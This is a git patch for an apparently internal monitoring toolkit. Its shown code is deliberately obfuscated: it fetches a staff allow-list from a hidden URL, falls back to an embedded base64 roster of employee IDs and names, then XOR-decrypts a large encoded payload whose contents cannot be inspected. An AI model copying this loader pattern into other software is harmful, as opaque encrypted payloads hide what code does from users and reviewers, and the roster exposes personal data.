From 21e4a46357aa5cc330109f17f7d01ed6a09bd385 Mon Sep 17 00:00:00 2001 From: ui-beam-9 Date: Tue, 22 Apr 2025 12:20:44 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8F=91=E5=B8=83=E6=96=B0=E7=89=88=E6=9C=ACv2?= =?UTF-8?q?0250422120008?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- VERSION.txt | 2 +- breeze_monitor.py | 80 +++---- breeze_monitor_CHAT.py | 80 +++---- cms_monitor.py | 80 +++---- dashboard.py | 80 +++---- download_auto_run.py | 475 --------------------------------------- inspect_monitor.py | 80 +++---- install_dependencies.bat | 9 - templates/dashboard.html | 185 ++++++++------- templates/login.html | 28 ++- 10 files changed, 331 insertions(+), 768 deletions(-) delete mode 100644 download_auto_run.py diff --git a/VERSION.txt b/VERSION.txt index 6d31a5d..09ac703 100644 --- a/VERSION.txt +++ b/VERSION.txt @@ -1 +1 @@ -v20250414155609 \ No newline at end of file +v20250422120008 \ No newline at end of file diff --git a/breeze_monitor.py b/breeze_monitor.py index 17ce3ed..b86027b 100644 --- a/breeze_monitor.py +++ b/breeze_monitor.py @@ -3,10 +3,10 @@ import base64,zlib,sys,os,getpass,json,time,random from urllib import request as _req import threading,importlib,subprocess -def _nE2iOv15a2kI(d,k): +def _sjiYM9FGYV0V(d,k): return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -def _Fe3gmlTpV(t,m,is_error=False): +def _pgdLeRKaW(t,m,is_error=False): try: try: from playsound import playsound @@ -33,90 +33,90 @@ def _Fe3gmlTpV(t,m,is_error=False): print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") return False -def _eHyOB6Eay6I(t,m,e=0): - _Fe3gmlTpV(t,m,e==1) +def _SDb1K4RIBrm(t,m,e=0): + _pgdLeRKaW(t,m,e==1) -def _pJZhP7KCq(): +def _IeG3oPBRd(): _p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110] return ''.join([chr(int(c)) for c in _p]) -def _s5K5p1XR(): +def _S5Xudu0q(): _e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382] return ''.join([chr(int(c)) for c in _e]) -def _QVd4YRyP(): +def _oqt8dAuX(): _e=[31243,24207,26080,27861,21551,21160,58,32] return ''.join([chr(int(c)) for c in _e]) -def _CQBjSc2e(): +def _PLwQnxny(): _e=[39564,35777,25104,21151,65292,27426,36814,20351,29992] return ''.join([chr(int(c)) for c in _e]) -def _P5GPhY7EMX(): +def _BiK3h6QiH6(): try: - _obTmv9hg=getpass.getuser().upper() - _anFugQVA=os.path.basename(os.path.expanduser("~")).upper() + _Oh29QFQG=getpass.getuser().upper() + _nuAEvdto=os.path.basename(os.path.expanduser("~")).upper() # 转换为小写进行比较 - _bxjH7gBY=_obTmv9hg.lower() + _gM4glBnz=_Oh29QFQG.lower() - _XlJSFoq=None - _PAQDKOMG=_pJZhP7KCq() + _upVJwlQ=None + _ZApAoAmo=_IeG3oPBRd() _s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time()) try: _h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)} - _r=_req.Request(_PAQDKOMG,headers=_h) + _r=_req.Request(_ZApAoAmo,headers=_h) with _req.urlopen(_r,timeout=5) as _resp: - _KzTcHoM=_resp.read().decode() - _XlJSFoq=json.loads(_KzTcHoM) + _DnhcZiq=_resp.read().decode() + _upVJwlQ=json.loads(_DnhcZiq) except:pass - if not _XlJSFoq: + if not _upVJwlQ: try: - _KzTcHoM=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() - _XlJSFoq=json.loads(_KzTcHoM) + _DnhcZiq=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() + _upVJwlQ=json.loads(_DnhcZiq) except:pass - _Wfif9AxMR=False + _bOYj6IgIo=False - if _XlJSFoq: - for _id,_n in _XlJSFoq.items(): + if _upVJwlQ: + for _id,_n in _upVJwlQ.items(): # 转换ID为小写进行比较 - _JI6RWHc=_id.lower() + _SmtIOKz=_id.lower() # 不区分大小写的比较 - if (_bxjH7gBY==_JI6RWHc or - _anFugQVA.lower()==_JI6RWHc or - _bxjH7gBY.startswith(_JI6RWHc) or - _anFugQVA.lower().startswith(_JI6RWHc) or - _JI6RWHc in _bxjH7gBY or - _JI6RWHc in _anFugQVA.lower()): - _Wfif9AxMR=True + if (_gM4glBnz==_SmtIOKz or + _nuAEvdto.lower()==_SmtIOKz or + _gM4glBnz.startswith(_SmtIOKz) or + _nuAEvdto.lower().startswith(_SmtIOKz) or + _SmtIOKz in _gM4glBnz or + _SmtIOKz in _nuAEvdto.lower()): + _bOYj6IgIo=True break - if not _Wfif9AxMR: - _Ux8SyfEIp=_s5K5p1XR() - _eHyOB6Eay6I("访问被拒绝",_Ux8SyfEIp,1) + if not _bOYj6IgIo: + _nnqMVDiXR=_S5Xudu0q() + _SDb1K4RIBrm("访问被拒绝",_nnqMVDiXR,1) return False return True except: return False -if _P5GPhY7EMX(): +if _BiK3h6QiH6(): # 显示验证成功消息 - _eHyOB6Eay6I("用户验证",_CQBjSc2e(),0) + _SDb1K4RIBrm("用户验证",_PLwQnxny(),0) - _k=b'7\xe6\x94\x11\xa8`\x0f\xe8U\xd1l>\xb8M\xd8\xca' - _e=b'PkISz(XZu%FAkH--7L&nW{ivb@ApuRywu^dt7aa6bD`pr4MoSWkSWseL9rWN;T&;B+CvFFudLiQMpMuGIB|V8;5U*3c!MOPT?eTMuwx~m--xl|DU97wRZo1YEBDK2+XGwP3##n7JMkRYmtgiwP+pPxU?nG@12Q}UQLc@$fWRr3LMa}YQtzqNK+FazpZ9Xc4jh#jc41p|r=BK^y;N#C#Qe{mQteUP0*{L?P?Uhu?(wC1v2|1BxpM_cV0nl}9i00!O1-i?_p)a+{@H8jC!gyxYAH*BK*lH5&Kae>2cPe!>nOWHM7UQp%MDBDaaZsPimj35hqgWiND^6oRFpJ#K#2q4I3fm^Sko5g*k>^?t+9+tW-~w#aDx>f929Srr=%Wrtg%EJNP%8jdBpV)W#!rDNLdVad>jG53EqGxjoR+sr!z2txtdj(PgjsmNiE3HI#nVy;k|}WnVlQ+Tp;vrNeKsZ*oUY{DGRu4stOF6duR$`CWVs(DIb-i`3%HgmPha`G`EH@aw%*A|I;Z2R3fzT!r5FCu3az5!{ArN}xOE$3tLxm6-V#sU`zJL&7FJ7#L>yH=V&h>L{1tMu4X>!P#lYpI`DB;;xZ#CrhMV=!|)v?;U*r$guMOlNC`M>+w-NjkuW{slI_a`I5rX-7VAotIzmaCyzRLQZN&?z}l%IE8Od7!fpf7!Mrqk*mx5qs2pBs0;-0@&QYDu=4|lj$KUvV;{L{8)bm5JFrgWBuCdgQuvRLFmK3*jz)H0`htqx9{_-3_ZLNw0nHu`x7AvUNEHB=%V*Wgg76}#R{kYIqV<8)F!}>*Hm`F&*exKvkY%woIPtlKc=}K4_l@GtYzodZU3z(mMTfxyW>l#8VLg*K~Fl9wis&Q&LUL``8izJ)3Gq+x^%z1E6r5!^oGE#%@a(2lL3BK<-H9NBD7EYBl7ds6^+EcH$$*aj(HhS^o!`G-Q2{tNvKuzEq?RQi8m4N2ZZLQ+Ht(Tsjv`CVzUS*aAKkh@}+mI+xySb2>p|_s7`{-*(x6^Xhi@SC?$+jJG#f;0)Gv;n5YG1FyQ1FLv?AKXTXHilRW;|X&Z8)^~Xdngz95>WXfXH>ETUVo7Ni_0oC2n?QZlJv_F=CYDfG6`Q|HC#N@t+LPd?u}4n3t>uFl)NQxL*tKTfv1#P+r8rc85U=FCMT5LaU2J*T`3HB(;As=QtCvQ<=RYV7ayk+b^GYw=8_A(fguo?#GyVd!OeErjLlAhO0j6t(6mubUb?2tf}Q(fO4f)Ip_rwhx%8xxN`Ht5q1g{@Yu6mJ3~VQCOy5wYOF7?;-A_bSiCJDDg{Rlr!J45a&+V>umZ>l5^RxfpfEzsxnm1O5ieecs_sk57lSY#;lYkGCk$x^q&CY(Mh2@kZpg#?Mg?kBgB@d<&*%43>5V0ATiK17nSRG#DR_}Qzn99kiUm-7`iA#$wK5~!h#O&kRfX8suN=ccN{Tn1%Nk4W8&B)Y>I3r?nYf7;tS%{DK$Kj;tGSHnNiYmK86+sbM_r_&ukuUIM;jp_bJ*W)9GF8t5|Y!BO9obToEg_!7u+-lG!35}{^*o7(wtzJMIA;?Y^VgeTYZzaw))CA_kz4%iZ6xXM6U-l-cjr2ci#5D>L#CoLc+I|3GFH|2b{2MrLS?8M3Z-lb`!&@!DQ?gh>lZ#T{0zSSeb4Lcbw;+>M#32KwLL8g|UT4R)$CyuIw|~YAWD5#o|=}A1;QsWbR~N(R#8q7jkAUpmF!_w8!W0V`$-{%f^79iksTQEy2@NRo`B^4RiTg^DZUQ;mt!E8Z@{mk68I6OGB*W`AYaOJEasBD}7yKpe$sf-%NBRZ3S|6n4WfPO)Y#7Xf?AfWK9IYW?V7*oY~I9Ls6HT%0zSrY=udR@(nUow(WeO9-BSK%6NU;1*)Yr#Rhxw8#w1vV3$61`o4P6=FDpovs;&6^vS4ba4VO;jzTIpD3E!chGaQW1>bYo+Q6H;=4PKMx**i&JyAR+I-$8ivC$8Vj`-noQ!jW$jX!hw0T_CjIxUUSyEv4hR^~W(N%WU48gY6e35}ZBW`ErIMKW6Nhr9jOK5TwZBhr#1K-S|_D9uKru*gr(>bcWcFF!}bgGYj$FUqTX*k2#>mDeG)@FjF5jr!JCo)hWEJ3)nB-}p4AXf(79U@=I~-deE`5RgJJc}-oVf_DG>f>H}_RY{#pfWn)%!oZ^|B^6Fr2ggYg-9}MVb|@8;;BemmduC1I9XuqQGYo>D+=dP0j=%fOtGACKhN*0~g4hWWag}l$s#90G$5B+1h<@xtQ7sIJT{$~TW(Lros?p->fqM^u;E+b?|6OZe)N|<9OuP=7=iK$J+I3vlj%DNgjpI2FtSOklU)=Iy5_a+?j`1+yp`P-RbO3s7F)eDwEYhU+sMJ*`=O<2ML(B~QN)~^OQ_5;E2;C)*{JTl79!EFeeR(RQHSKx{c-4EVlaCslS*5}BN7#w$q)1=KzI)YyuEf0+xxifE6L{bGC43I8_JI3iPR#p*%0bEckziO`tkDxI`(=lL!FghRZY|pxU0i>Ewm3YbxPu{5q+Xx~ly5m3dLUz%31_(ZvZwvmJRw?BK?_YGYVBI6KGs!&P6Zv6+dId;s2!9F5{Hk|3h2D9^^joc8aKQCY|g#`|?d1QlN^xY*w}z2u3?t`zTof^FY(EibWAkh3O9`I|4s!O?<_7KbcrDne514*sCphLz6ZjMNior;Rz3(TUpvLaIJQnNU7xX6>Ft&;cr45N_pfV_~m(0!iXw+wZ%w>(NJWTdPckzdXXCJ?&#K-g3pE%AOu(?XG*;l?cwhl{3|LR=%10N>*_f7QBtff(HX*)t5?fY(mSG{sAC8XkE)6_){)93Z5bIu{$Q$U8K-gIJHtP8PD(9`um~KKw@=D-jIGL+r09knxsxN?014|TZdMh+95K(k17^n;pS$MBGKCE>yIA^;;i^QEJDJhfm;voK4o_%ACaQD=(pM{;^rBY`+p--xp@p4?hJ>syZdk;G#z`sn9O)++PLSe<`N7YxmFhUgs7GhcY^3P#rDi`4!j)=(a%zSDn)(#GVaC~q1)GLLbstKaIH6SM^sKS41*pwDQjAvd6o+|}4~6n)_3q>rAPVz_a=45IspKuz(YdceR&xI5hFv4bzve&enneKX9aKoGrKtb&D7#K+-v7`lt#V&ov^oX2a@xl}_$BpPGrst;hV5t&Yp}1x0E40eu#EI*S`Kx|DdMKu3KxUX3A>6~7w&@TtJsDs7Go(p=s8vDp+yphS1NU5N4Shqu5pw$S7~!?fE*ytj3%}(jj|6@3xV~9(Q;rAq&oeDA6RWY?Ey-#Dg2$%rMofZj|dL-P;RePJuE{dPNp7(a)Mmjx4xvqoE6l7LC);I7HAdajivd#vZ0I`xkhtLhC6kMeD~mH-NF=ZV8{X=#0@X)17>KQ;#gy)H~3g6=0u$iZu=d5m65#otQ+7I^nY-JG*^y9se?HF%<*5>o^nxx7PFQD++|a=hX$A-=26GD=+?L;Z!YE`$b$?zaC3klXtJlD8W^E3A1$2caOMZ#XM1{h?5?ea_>3I7v5fhZS=Gi2qp*v5{+|!S~3%9aw|{G1gmYbvS#Ja6UAbdlEy^Vbla{D<2fUsBBG^e0sI?!EkvKC8ny4?jFW`5<4ZCA>trfSCsPyP3vhZ?BajDC*aex(f$PDipJu9a)I=^culiuA{~q@OIt?z=Eg>GywBjkBxbNfOc=fxQBoMmiN$wHZh)z}h=+N!ly)fF85?N*)wXCjU<=y!^e%&HsM5C?+7$z?68uNQTFl4V7CBOoROT>0dug-!>nvzTTm?j5$yH$`asO}9FYeVDcjq_ZikW`CtL9Xa2mWK7B2>H#2Sl($S__KRYT9U!K@*K1#tF42n40-HzvbK0S&lZ@zl$WSW}dNd!FcBgX$Px?@j^}X!v{~vHfaVa(imM@Z|pK{_cw}U~Ch-d+={aO?WkMMZffi1SW89_rRD2;0!Z#9T#|W*1Uv(8My)`6fCQPP%9`lqWMJa1>?rqCD*@b&<5cmGpy}=TRD$6k|_xlkL!D%DZGA=nSu|h=FN?c=3DRDfVkws@ZRKzX_b%X?HDaZOb>%o_(zLZ-FcDKfoA5L`nYGTHQI8;XXI)*0Iv#SPL%-FhyxH)39CrV!5HwUDo7udfNcevB$_Qju8l45(FdqH&$TX229@Q1vD}#%7P|ljz8T|dtFa&cDkd4%=As~B|~{6gv~A{il2eiqP|EnFYXeM!$jZ&5KWl_n`s&>ffOx;ul3l)sY>@VtprW1iR8$R%2T?&WLG9-0#v3=>xD(CrTGreHJWu|tnpAl}ctncxEpir={4w=ZCO6|0JB5cZNoy4jGJx^tyBF5+;r{=1PIC}%1!lZtN(?@WQ+BV*oSAkFHqyM*8rK2mOUcfib3t~k6QgTXDlt-o0Cyr|GR@}TlJOw<-&Wvo5GS{l~1xThfyviEz!QZTxcy4h;v>}NQ_Z8r+iS(`(6m~8>{d4L7liAmJy|JJ4+(_zaimEqMQ$51kPyC!%h9Mv^reH(qgSyvsTQ)|F3MYy|LVd0yXHxn^(ErihZgXi!jPPL4i&Lf5m)9Z%^Eh&69XN^As)Rl7VLEgf$ke3q4U`M`;e^3x(=Q+~3!bA0VMad1mRZ8#Z7*H$n5|uXr=tm3iN&bcGT9i%rRzNkppyn@k8a9>JftXS51D2#{M5838Z6?&p$3b1NP6(@<7;!1AL&w$T$Y{2VHIkb3ULWSYejvb#z8oyYfIM9W0I>bnBdW)3^u(fu#&_N%Am#f$O!~cRCNozG6JKL0FzQ^J(sDBjL6x*Y>NS3Pv$vRsq33>F05N<5(~-gS_WPSzEkt*EF!=N_w;dm=v}nao5+3^Hi45|pdKXmO;{|v?Hrj9DNl{lIk!QvA2zgmLs=N)`#>7%?N=Kzkw8;2TJ7l@CFq-9}J;xMsVPnUfYd9wlqY@ehu|FTw2H(@vI&*))Y+lXRR85{>IMD;0$r@=m5JC|L>m<@~?$hNEf2u(SJj;qu8kk~d5Cm6uwYQrDe(m?-Ie-x3iaw#6cJKIYKZRcj-BxkXFle5SFao8GA~b`(nf;iBbFTfv5gPZB>-f$E)3;>J8%&pClWx9bZ=NU*K<5pi-}WCOWPh?4bP`*t!d%d|fQG3(Yso>PDorkg=4&&}TUB9K+BItNU}|97O^bGuY&kWMaCxs+yA|4Thag*)hRc)W!Ly;vlr)_dQZEAPq!&_^-~E@1m)s$Nw8SnUxz)c!#~l68$&`khK8GiF(+|O;o(z7PQx|l>&;3gA~GxSTf=`9yVV$`0*l3l4o}ZO=Xa?KgSWQ3X>m2G81nwj`Bs>T3FJ3jBFDUzNQ5%1U*KR95qAj2CycRM($Vtu-#pAk^tokTla>^L)ps8T5wG+b^pCImM5Fm|9#Y04DeMK6ojY*$(i?-I*MQPr6N{7#3O-^40cGdWXhL~B>unJKS8KOYgLCU!+b26ikk2WGyj!q@qiuKx!2(sHbKNAiYSdsV-fQf`?1w<{|X!JH5pEru%3F3`fl@!3`LU--CP#iLEgL8EmKR4DlA%v8|)xZK}td+x4?9eV5>64`SMq&!?O@t;xclBKg7(+_HfM>j@D094|Vcp9Q~VbI8DOuA!BK6rKJh+XT5u0#L&Hz~uAuP5l?5_)Aq<%APWd1Q_P;9VfaW)^U94~jEM;-)#46iq|-9Y%(nPoLf)C}0{fW)i3{MVn}eV1LGebo``^b~fTvdITrmUgfaQ7poB@nKLA<{zNrj0A*9;4q8v3BOImmvWFLsU_@kAP)$O6HgDsFB&=1v3<&NMZt?!f4(bjwZpqx+B32Qs|ermIV0+S2-XpMheBH4&1u+0;$)dfSMIS0yvJQaSaTl=FHcv;kuqjUPR}M=JJLa<>Izc`q6Yn4SN^ENHRg5w4sng(H4NCBE4l?Utb%y-E_pNP7oEMV;)TzaJ~}D$MJ+gVjr~HF;nPPOKTrZ6ED<*ozMJ}vta;mV{#XRRP;1(Q!H5Z(c!F*J$y!gREUUQqUU;`jwJz18^*E*Gn&a)xYGBk&{k9i^crNYVojv;|02_I)t~|7O(|nEPdATKS8ZV$ZWMLO8Y>43wh{a|*4fe2a-_piz>uA>OU6;6wmb2wa8`>4mRd-av>M(8_dH%vaPv!jDr^>0_ghwZZl?vQjxR7VOZTG7=7sBCy4aBR?#Rm=yNJ6;hL%`Lt5RVD=U~xezIc~?`0(_?HzWfby_>dJ^0j{lSY*J+d@r-^}vD`5@jt>7R|4SUPa;L^=*j@eM%ZDyjhd|V?MH2yiq>aM9!Cn2*Q<|=E{nVo7nc3ElD!q=4w(&hZ<3*7+z6or`I~q2N_u78Yd;Di1KoVBTjw9+(S`vskCj7W04_JojWp5X0%bG`vPC&XNpm_MKl$e4LBI6fGKCxC#u^86ZOfBk^gm>g~&IWotwIa<>NNFtVCIn4W=H){!*!%n01s(XxNP~x*;(XSKToewI1#E@mi|fV>dHaouSdT@~VF&Y_+LbA4};W4xID3T&`)EXuEB@rLR_UPO6rS*2`x`NaK2OWpHEax$<*$zif*dG`Ovc7;^%9tv}W?khu?FqsDMBg^gk9;Ijh&>((_u7_@+3qFmDcSCxG$_bELUk&9r32@G!UM||ryM2Uj*QrwZV@Wemi2gSv*+3Zm_xQdt;{V%=S&-NU+r^zDH9)mOBdSQ{bZjaf7cC9mpNwMN4zwuONJAe^%;}<>ltpG-9IYMeEe+j7c_o34+j*JDI9>9W9V^p~;!2gkg17hr?aGf;@wrtS7i-r|&fKGv<;q*;Eox3SpVz!D>p87S|@}RGC_Z7a~&njH6)CGDqvB`*$`;ONyazH4|>F+)E#aNqylN?pxrgV+x2w_Xf}|ApO4nAgD-@SSrT--_%~pb9#)Vf8P~)U;}or?-4UxB6u|J?@Ym`A&zwyt056cTl9jdmm%t}a>0QhCE9+3H4=EIh9Xa3;48zyihLtVaznWCmZXUc<@c=YGV8qAE-bkCPSSOe&%jSo3PoZ^W5G-6TU>E%pP-f!W{V9q9w&Qk*@_Lb1OBV*o_V+kGpUNB!@76QomV^xdkmH7xiptOPq4=lwk~!=Zv`I&ewWxb`Kbd=DG{x;+=Alg;`)2D@ZZ>>&Rd^&=Ut)(bu(73fIF_)>s?@x*ohm;4PSo(D*^+VoCw-*qvA?|b)J8L*$Z7)^Xp8QC0@mplO~f5xz|~G)Dkbtr6tSZ<8DNyVzrmc?Kh*ao4$yS3|vzD;D+&ft?K$%=-1tSvs%SSkM3xSzy}Ynq~3hk?e}VZT24~i?6DUPv9T2jvnO2Atf4CRW~8QcvhPZEX+gu#L;}Jc+ahK0hR$dw6M+W^HkSnTs&g@z1?MZhLPIYnj$}0ui+<(HqOrU6C@*_pyO0!cv=#kRpo98f2q5(NEs?A^X$>&6A<8$)12&CRPx@23fwg)?Kr(m1gHIw!WKTbcCxnbsMc6Un-vW$n@fv!(0a0KFs1PfJ=0E)fJZ$V_9>TB^wehDIBLVAbEI?5u0LOc2{+N40-h~ljOZrpue^vP6=@l>99L*86=T(Jl9v=6kzK@Qnyh5!Lvg5(s-C$YdCTE~$lmUCuC2A@E~Y`U>%H?nJLR!AwbF;Q>}Gn%W#Iwv`qpz@E7nl?R*&gF0WHZeK{x{VJpU23M5n%#ycsofXnk3;?8VR6*T=`A4fvihD6-j%Vd2xLw&ZmCwC$=U}Enqw%Ex0Q`78D}g^T-W=)GL-?M?{}ErSw1gkz6Tnr@wXjdyv1Qs8=Y2ur#+zVWpy<=o>p~}OP;*m)^xpHt=sUR!WllB0>ppq&Q|^Q&nNS+`pQrm6oi)p0;s59rB8N;}v<0e~pJuwwv;)=Eyfa=d4fV+blZDcnagit@5I`@BzQ^P0Oth?t96q1~(xf{vAPL-;tn|4lw(PGO#)gh#7fa*P8ha-rR=XLpscK$Xkf*YnPNTi*ACPLZmPi#Jd~zevatAGaeLxe7w9fr3GsfVI#+r' + _k=b'\xca\xf3\x99\x05\xb0\t\xebU\xd4\xfc\x9b\xc5UI\xa5\xfd' + _e=b'vTt-aO@8uqIrS06l&}-tnOIqWC{9X3T}}T#^daKh|*{uGaEOr9;Ze7ep2;#aQqq|Jyx^K|r$pz`K7f+EeQrg&tXCKHY*7Kv1-~YDg9fNJd|o-E-U06|mj39l;Z11ie>qIba5CJLG*TC8|Qw>${;F=IAJy9~w~%j)W2cC!l1<&xj`AfM=LUtX#le=cNM74rKr{w}w**PDWv+3b~0miHVTkOcaP@BVRL4nPIBu@MlD%kt*q!7hvbK*uE49c@Bu2|--pDsDdS0RLbm`8PhT8SoEVB7+9w$TrVnevd;O6M7{3JDkLrGW;kTKGLm_3x#m03xe!H#Xw1A^~Z0ffY~;o97?u$h@>0@|{GcWMmfTw=jTA_T&cgSyP?EF1E$@9m0I`>=Fr`seW@^&e?eiGr6$?hv}C{aeE-#0ugjavY#YpTUiPV%N3aOl|)3iJ1;_b$Hg1ss_i!eAyx$<26niCW12QcIPrgRj8{ki6ei;6cH#^s}De7*Wd83`^pb(y9_=uRveAlH9!j?Y6uMt08YlUV1#hO4M`97T^`c%`To61yQ-{G`QS=XG2}IlXXQd{KLE+@{N~wYo4G&HGxkFd#fcOrAO`HJL6xP_nhlSLDOqhH3;vOtQi;V(Jig6MEl%Y&H?k6s^_X|#63CX>`@A~8Wc9C66aAtKLn=<%f|I>|c&VFZCYzP-*EWp+{xG4r&vtnu*Nv1@juHg>u5?A460)ajQX*Ao-94FQ>g$O)`&aZLJAK*W8GCjoU{wuG0e;~W2KX_wZWvlv=1=Dfn)05C-FdQCuvgRJDcO`KH$b%N*k}ccxfTK#whu;$_HShtOS_Ui}EY4u|5G+EqA8G2F)#ImUiM02WF5a;ZJao0{9L=(P4COv%r6DwlOHEaIDvl7L7PZHL5sP!TD&}rgcL)X2Gp9C4wRvmM;5m;MEh~cF=lk#F60PMUp~@Vk2(7_>YqG+pR=hbldX|M<6ea3+ggOm~~6Eu2oX1_5;ZP2HOcOjlW5c;pA&XBRqLgs30Z#5=6S>amSk)hvX46*{=qm6m#0)7)PD)}@Rgwd(v1&>Q*LHJ;0>{aau?2w83Cl@I)?7?Xpn+T;6Kkl81m50KONUtt;i{e`UK&XYu>)M=aO`{r1s5vmoudsz71<|vHWjAfDhVebI35;83ExuVYb{V3tGE=RC>GY@Y=j|?9xB5H`&~CNqb+(D=&bB6GG$esW6;~XPYJKvK5K|@AoDmz5tug2+%`oxp+zx3f)-GBuhQjwklm!_Amjr2_iU2CJFM^8f@>5+-eN09AqEhvqPIjg6v+MhzO@JC>9V@CZJdGwTw>e3hpFqv%pd~)a#wxr{}$_rOYQsaSwp3S!QtjHti1o!0m^J?ok}9%vwA=dXXA1QTUC_crQi$Ydg%`nq7U~_mxv=@YpuPhlF^JEA`X$xx3gnKH>hn2J0d{u(UtoxL~uZgp!G@yi2g&P_pz+oD113v1)8l@jIyd^As>{D&D$Ioz)Q1HkwD8-+3&s|*md*gq7Nf{t(+0$R3{>n;E|=8+EzlWXdo);j9_5Yqag@;8KT&XEn=VQqo&xhFo9;>}TKm*KwM`%c(wJgbb-Om2LofAb3z>*Hv$O8M{K9(S~ZfhUh^g3FAgij@h2aoNlKqmwa!phg15`LCdMdFp$B@8v=sI*c|d9H3C6VS5C+qrjL#pgv?}@0DM(`tPJ0yi>m(OqoPyCG1y`O)?R>F|Jse`LlFcQ&E(8+#gvEgX1K_vRzg=QUsaMci$;vCPO&`O2Gt>8ZV4v9M%fq;J=I?^?$9O@1=*xcGwU(8XU_(N89a56L*EC2w2wk^atPViA?VdnHu-GG{OmaGkZZ%tRSQpiGCWB$!BN@-cgQH1?=NSCUsMfWdbpwi3kJiLh0;6|hlef{?lAu_Bi7{%^Ki0qFdR+53_(Er7$j@KM`^lXMI{7A^3^vU&1akaQX;{y97M=yLvA;=~xYl1l8dW3^fOZS@L>H2l|{)`(+1Jfo38EsaIH)Ajbd8znEg1s{bBe=|2oI+)kgliOUHOzqR{R;WunSFI&;A%Y|GXv6+MlXad@oQuMivY1KtdsB|4&e`lFT!jN!?`9PKW}LXd851ya8nD8cz)U=JSGQ5=woyl+%q#k$>2k@#@_x2THkF^bDD`a~a0%75KEM@B0i~UPkawDaNbpT&SG)Wkzfb=3~@>QNzjSsa80>}oc%xahMrF+sCvw&xo@;`+fCL(K6-&6?Y58LuVkZi(L9nLmL&;dsj^)@KiAN(5E{3+@U8tOg9c3R=cvIJK9Tr(|dL(2WGp7_nD8^7CvMd=dU?RO#|-dB8lxMSxw%Eyp&*SKy8%b$WYrohenAMiND_@c8MPn0T!~O=yQ7w+Nan!a_AZ$WAql5(kn#ApQDE$n-ovf>P2uE&FQT)VhKe~w|Q*n)Ikk`Jt~};JbD?V!Cb92@rpAt9VU7l(xm-4Y@00mf1ib6EI2yxc-j4t$E|BoaX9N{J?{Nk8*59NQA^x5xcYD+oOI7#?3zs~_kFkH*msHvxv?4jQy{$o?^>I`<+j?IPUIO-Jc4*)OT8G7`+^|55pi^hLVnYiuLH=HN`m@`Xlw4VQbS$6w3BBMx-IObgM$~zOrm*8k%05`$-SXQ86=^E?RYt}4Oy`3oLU^U!>lez(vdX;%cZ1M6nj8=9R+t%*93Ka3g6>s&KA+5e4$~?-S$JP?@N~!%F-M?sWefuHZvO-8Pr*S*Bh>oL*bg;-`DsNA$Oac7$YPjO_f^{k06ZF%pDV90zC(1K&4^(Mfkm!f*0dZB^;?qG8xoB;C%;xhR4gNCX*iy1e)cjN*DL-9BzC!?@mU6r~$RhjKT{3S&Hn4^LQ3s7JaLD*^U7DTWv$6bI>H^+C2oNR{RC7*3VmyKQ=m6)OfA$WnUP4>WVewsf0in{7F?<;2%3&5FOQn=A`WJ6`qGl*Ba^}4^p0rH!XKHOTzG2u2T0-jt`JXf8U*R@;q{ChCyf2s!sL`%?d_bO+Ge$GUL`7k}R}oYEKF?=1uYcZl5(X!IX+j&B_Q>O?jggxKko12iR|N`^}Zvyrvi=WZv@;zSZbafpF{iz{}rFrF*@<(me?SQaS5&Nag31Q9kc1AA3ReJvnEE5o`YDcIQSau0~1h?eV$!Ag&jUT;g;c(CeAqc}XeZ?BVs00M-e=UE*+)G=trr0Cq339Bmv+_xznvW+rP#q2Yz3Xv?sM2eCpI&j<#L@mii}DQQXuH|L&=uZ>jlYC0Pt6%H+YQEl9VE;QDZTDEX0dY!-6Vnf=3ZfcDK;$CBnt+wAg_Yk?tTL+h&8gw4cRxpadqe-^3OU3oW=|WLVtn$c1?cIbL%H7RW2TOSnV5P*U7Yjny@Di%j0U+Qsxb%BUehrQBp6XnYQ>FP$|yB